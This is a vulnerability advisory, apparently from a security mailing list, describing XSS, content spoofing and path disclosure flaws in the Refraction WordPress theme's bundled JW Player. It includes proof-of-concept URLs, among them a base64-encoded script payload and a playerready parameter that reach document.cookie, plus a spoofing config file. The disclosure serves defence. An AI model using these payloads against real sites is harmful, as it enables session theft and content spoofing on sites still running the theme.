WordPress Refraction Theme XSS / Content Spoofing / Path Disclosure

Change Mirror Download
Hello list!

In 2012 I've disclosed vulnerabilities in JW Player and in RokBox. Which
were fixed by the developers - JW Player developers fixed one hole and
promised to fix others later and RokBox developers fixed all holes (but it
was questionable how they fixed holes related to JW Player).

In December 2012 I've wrote about 47 RocketTheme's themes for WordPress
(which contain RokBox). Besides their themes I've found similar
vulnerabilities in multiple themes of other developers (including custom
themes).

Now I'll inform you about multiple vulnerabilities in Refraction theme for
WordPress (there are thousands of web sites with it). These are Cross-Site
Scripting, Content Spoofing and Full path disclosure vulnerabilities.

The folder of theme can be named refraction or rt_refraction_wp.

-------------------------
Affected products:
-------------------------

Affected all versions of Refraction theme for WordPress (XSS an CS holes are
fixed in versions of themes with JW Player 6.x).

-------------------------
Affected vendors:
-------------------------

RocketTheme

Details:

Cross-Site Scripting (WASC-08):

http://site/wp-content/themes/refraction/js/rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

This XSS vulnerability exists only in new version of theme with 5.x version
of JW Player:

http://site/wp-content/themes/rt_refraction_wp/js/rokbox/jwplayer/jwplayer.swf?playerready=alert(document.cookie)

Content Spoofing (WASC-12):

In parameter file there can be set as video, as audio files.

Swf-file of JW Player accepts arbitrary addresses in parameters file and
image, which allows to spoof content of flash - i.e. by setting addresses of
video (audio) and/or image files from other site.

http://site/wp-content/themes/refraction/js/rokbox/jwplayer/jwplayer.swf?file=1.flv&image=1.jpg

Content Spoofing (WASC-12):

Swf-file of JW Player accepts arbitrary addresses in parameter config, which
allows to spoof content of flash - i.e. by setting address of config file
from other site (parameters file and image in xml-file accept arbitrary
addresses). For loading of config file from other site it needs to have
crossdomain.xml.

http://site/wp-content/themes/refraction/js/rokbox/jwplayer/jwplayer.swf?config=1.xml

1.xml

<config>
<file>1.flv</file>
<image>1.jpg</image>
</config>

Content Spoofing (WASC-12):

http://site/wp-content/themes/refraction/js/rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=http://site

Full path disclosure (WASC-13):

There are FPD In folder http://site/wp-content/themes/refraction/
(http://site/wp-content/themes/rt_refraction_wp/) in index.php and many
other php-files of theme.
